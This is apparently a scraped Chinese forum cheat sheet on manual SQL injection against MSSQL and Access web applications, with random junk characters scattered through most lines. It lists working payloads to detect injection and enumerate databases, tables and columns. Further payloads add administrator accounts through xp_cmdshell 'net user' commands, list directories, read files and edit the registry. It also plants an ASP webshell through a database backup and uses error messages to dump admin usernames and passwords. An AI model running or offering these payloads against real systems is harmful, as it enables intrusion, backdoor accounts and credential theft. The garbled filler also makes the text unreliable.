1.判断是否有注入 ) D. Z. }4 C6 D5 k$ k- ^# g, X
;and 1=1 " F) {5 i; l8 O9 |3 r/ ~
;and 1=2 3 _7 w. Q; m. T8 s3 ?
+ Y* E2 \2 a$ ?( j% H! ~6 `2.初步判断是否是mssql
% \- u0 ]0 e5 v7 {" D- N; j;and user>0
9 m, R) @2 X4 N, K* [7 |% i
' U; I6 G: U( B4 }7 R3 B8 m3.判断数据库系统
8 I1 [9 q) |6 Q4 V* g5 z8 O;and (select count(*) from sysobjects)>0 mssql
- x$ ~6 Q7 B! P- h# B$ _5 @ x4 S3 |;and (select count(*) from msysobjects)>0 access % O5 ^: F1 `+ ]3 u
6 F; h: D' Q' r) c9 M
4.注入参数是字符 4 G5 Y* n% |. b
'and [查询条件] and ''=' 2 N; p4 ?$ L7 i. ^5 x
; d$ a- t5 \; Z+ X* \0 F6 A5.搜索时没过滤参数的
+ m O! [ j. T+ D8 Z'and [查询条件] and '%25'='
. `% x G( Y8 [* z* x; @, b. B4 e; P7 J: I7 E9 k% t
6.猜数表名
$ i+ S: l" M8 u6 I$ H;and (select Count(*) from [表名])>0 : A' d/ o+ J) F2 l7 U. L. F
! H. b2 f& D% S/ _7.猜字段 0 i4 |: V( r1 m3 N/ l7 V
;and (select Count(字段名) from 表名)>0 - q; X5 ?8 F0 P( T: \
3 x! L, V* I0 }6 ?- \7 U: z
8.猜字段中记录长度 * e2 z+ T: e0 ~+ [
;and (select top 1 len(字段名) from 表名)>0
) r O8 z; P S: h9 L9 @* ]* z2 Y1 Y6 e( \' w
9.(1)猜字段的ascii值(access) $ y9 }8 K% [* z& j- y- k
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 / D+ v8 ^# p; y: I! N. o
4 S/ J" F2 m" E. p# o(2)猜字段的ascii值(mssql)
1 d# @% _. p" G" ~;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
; _# w' R; L* n" w
' T \: C. H% @9 j& L j9 k10.测试权限结构(mssql) % }; y0 W: R3 S* |5 O O' g( k
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
3 {: u+ [, c. _) j4 s" I;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 4 z+ _1 S, m9 f& g) | @
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
3 y' s6 ^8 F8 i% X* k t;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
8 @2 }; }! L* i: T4 H! \& _: i" g9 n;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ( _0 b' _6 h! i$ `1 a. m8 f6 ?
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
) M6 c' P+ e- Q8 N6 g! E;and 1=(select IS_MEMBER('db_owner'));-- ; F% @ N5 S& e, G0 g1 \; k( r
" f; v$ V2 F1 d' u& [/ I* G11.添加mssql和系统的帐户
; O" w1 [3 \, M$ y0 R ^;exec master.dbo.sp_addlogin username;--
1 g0 l7 u J9 ]; T;exec master.dbo.sp_password null,username,password;--
- w R5 v2 t1 ]" U;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 8 l/ y1 D8 Y1 N9 @
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 3 }; W. z7 F$ A- r+ \6 p2 ~( G
;exec master.dbo.xp_cmdshell 'net user username password /add';-- + } G" y7 G, C; @' o7 ]
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- " g; {" S! b# j% v6 @, z
$ a ?+ h& }1 L% i* n1 y
12.(1)遍历目录 + L, Q' `; ]3 A$ C. ]. J5 i9 N/ ]
;create table dirs(paths varchar(100), id int)
* N: C' N2 V0 }& h! y9 Y3 M( k. E;insert dirs exec master.dbo.xp_dirtree 'c:\' % w2 I: e4 v2 U+ K/ B, q3 X
;and (select top 1 paths from dirs)>0
, l& x1 B: C0 A) R;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 4 j, e; K$ e$ z9 ]$ b* Z
/ R( K5 l9 t* X4 b1 X, g(2)遍历目录
, ?3 t) H5 n1 L;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 9 L" O* j- C) i- j, j
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
- y$ V8 j! b& G/ o* y1 i- H;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
8 `( L; ]% J6 ^% L/ j: e/ o8 i" @;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 6 b5 A2 N8 b& H+ U: ?* e
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
- j) |7 F, H) r8 F7 \2 a) P, }8 L$ C% d2 M; x5 x+ x5 x
13.mssql中的存储过程
' _4 f5 o/ g% o( A5 n: ~/ m9 Cxp_regenumvalues 注册表根键, 子键
3 E7 o0 Q& M( `/ E. J5 q;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
" F- l9 }; i7 [% L, w( Oxp_regread 根键,子键,键值名
- s* y- H/ S' [6 j;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
# T! g8 n/ ?1 z: |xp_regwrite 根键,子键, 值名, 值类型, 值 8 P" D5 b: g% l
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ( y$ V K7 L7 }7 u1 e# a
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 7 n) ?( y) v8 j* K# S
xp_regdeletevalue 根键,子键,值名
1 W8 F+ N% z8 t$ }- Iexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 , O; H& [: |2 A4 D: Y {9 F
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
' E) I, S# {% W B2 u( C! a% P
2 z2 o0 g' ?' I2 U G14.mssql的backup创建webshell
- Q- E5 W( O4 y7 _; ^( Z: h- J" @use model ( R' {/ `, J: Y* `. G
create table cmd(str image);
; m$ l0 b7 H# O7 B; i' i; uinsert into cmd(str) values ('<% Dim oScript %>');
& z( ]7 }4 G1 V) r Hbackup database model to disk='c:\l.asp'; / |6 f4 s2 ^+ h6 \% }: R
3 q' P" M; U' f: Q* Q) U15.mssql内置函数 : b2 W n3 j4 b6 n! \
;and (select @@version)>0 获得Windows的版本号 1 O7 ]( K$ L- O# Y, {2 B3 `
;and user_name()='dbo' 判断当前系统的连接用户是不是sa # r0 ]" G% n: T1 s3 H
;and (select user_name())>0 爆当前系统的连接用户 8 r& N& t! M Q7 h
;and (select db_name())>0 得到当前连接的数据库
# V3 L4 I, _5 I1 j. G) Y/ k2 `+ q! J" ~; Z7 M) }
4 W2 C3 X: b" c" g x' W
# b. X' {0 o! k, s- {# R
MSSQL手注暴库
. e2 N$ y1 S* f; q" o
* i8 x+ F+ T6 H0 N' \$ I3 t, o1.暴出当前表名和列名
8 j* O7 t" H& |. R在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
2 ?6 ]& m: J" h4 q2 j8 p
' l8 C& W* P' B第一.爆出所有数据库名& p R$ G% a; f
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。5 n# a- e2 @5 M" C+ t3 m- z# ^
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
$ C/ O' q3 S9 Z8 Y, f6 U- q( s2 _( \/ G. ^% B3 z* r! [* C
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名4 N4 n0 f% M& W
8 i3 ?7 s# w) N! [ i2 e
( i% I/ L* D |' H0 t
第二.爆出指定库中的所有表名# d8 |/ ?; g7 d2 k2 \* a8 h
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。8 t$ O4 |- c1 o, G& y, o+ n
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。2 g' Y) r/ w- M* a; W
! }# l! g% O! V% y( S" K& wand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
* l9 U5 M# I/ m9 o( P3 m$ Band 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
' w9 o" `+ Y4 Fand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--6 W' C" z4 g6 l- m- I% o# p) Y4 T
" L5 e4 Q* `3 E( b, h
4.爆出指定表中的所有列名
8 y3 h9 I' T i9 d/ ~6 |- K! Land 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) , m9 u4 K/ l1 K
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
- K; C: C2 `' u" i+ W9 z, o
% \# b% Y* s$ @" ]3 d. d/ p- uand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名' F! B7 K: N, v8 [6 _: w) ~
2 E) F7 {! a# g5 N% H1 ^5 M再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- " s& c/ H4 I Y: B, g; W/ q
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。7 [- b4 G3 n( C! S* M3 B5 [
- v) K) P3 u; H2 U
: Q0 Q: \% ]! W4 V) \
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值; l; Q* Z% L0 L4 c" a7 Z
% q+ M! ^8 h" [ P- n: E0 D/ g
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名% {9 N5 Y+ N$ C$ k& ^
8 [8 z S# y) N" z- cand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
( i; G+ ?/ h% k$ ^# b6 h, o
$ W$ w O* Z! Y( y9 G' i
$ ^; E- U/ T, f. U6 M0 O6 T& | f( {( D2 i
5.读取指定表中的数据
( i4 d+ P% x# v8 `* \5 T1 J. {8 k- L+ E5 {! `/ e4 a
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
7 |; I5 O3 r; m4 ?9 [% G& b" T0 ~9 G- T! G Y ]+ O
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
" \8 C! w3 M E @& {* D) C8 {$ N) q" k2 I, _
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
2 F. b# B% A- b# ?3 E" O
* ~& B; z' G+ ^/ w( u
' M- y* B, Y7 k6 `" }; Dand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)2 E' j" c: f2 K4 X9 {$ E1 V
# r$ _+ `6 l7 Y0 s) ^5 }, C' fand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
- g8 F' B, {3 ]1 B
# `. o" O8 u, @8 x' `$ pand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--' A( h+ x9 E3 O9 t! A9 j0 X8 O
" |7 j" ~5 X# n% O) ^+ Z$ k知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。. W9 Z( o% I7 c6 p
|